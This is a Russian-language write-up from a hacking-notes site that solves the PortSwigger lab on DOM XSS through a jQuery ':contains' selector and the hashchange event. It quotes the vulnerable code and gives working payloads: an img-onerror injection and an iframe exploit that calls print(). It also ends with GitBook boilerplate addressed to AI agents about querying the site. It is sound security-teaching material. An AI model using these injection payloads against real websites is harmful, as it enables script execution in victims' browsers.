> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/dom-xss-with-jquery-hashchange-event.md).

# DOM XSS с jQuery и hashchange

### DOM XSS в селекторе jQuery с использованием события hashchange

В этом практикуме есть уязвимость XSS на стороне клиента на главной странице. Код использует `$()` функцию селектора jQuery, чтобы автоматически выбрать статью, заголовок которой был передан через `location.hash`. Цель практикума — получить эксплойт, который, когда посетитель откроет его, вызовет `print()` в его браузере.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* Функция извлекает фрагмент URL (`window.location.hash`), удаляет `#` на `slice(1)` и декодирует его с помощью `decodeURIComponent`.
* Затем этот текст напрямую объединяется в селектор jQuery `:contains(...)` . Поскольку экранирования нет, специально сформированный контент может нарушить синтаксис и внедрить HTML/JS через векторы, такие как `атрибут onerror` атрибуты.
* Код запускает действие только при изменении хэша (`hashchange`), поэтому простая начальная ссылка без хэша ничего не вызовет, пока фрагмент не будет изменён на стороне клиента.

<figure><img src="/files/5b731b38a60cce568f0f6c81ca715a117887e66b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e919cca99a4f6cd90635159f0820a7d71a73646d" alt=""><figcaption></figcaption></figure>

* Мы используем тот факт, что изменение `#` вызывает событие. Следовательно, эксплойт должен заставить браузер жертвы загрузить URL с фрагментом, содержащим полезную нагрузку.
* Обычный способ — использовать `<iframe>` ссылку на целевую страницу, а затем, во время `onload`, динамически изменить её `src` , чтобы добавить вредоносный фрагмент (что вызовет `hashchange` и выполнение уязвимого селектора).
* Внедрённая полезная нагрузка должна привести к тому, что `print()` будет выполнено в контексте жертвы.

Базовая инъекция для вызова ошибки изображения (тест):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/15d14d746f425afe6335ba6ef22e82e944a3dcaf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/10ab23c25409ae785853c141c147a01af55b5ba5" alt=""><figcaption></figcaption></figure>

* Эксплойт через iframe — первая версия (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Финальный эксплойт для `print()` (адаптированная версия):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/946a3731e158c8ae4543497d3d5e1edce8cfc68a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
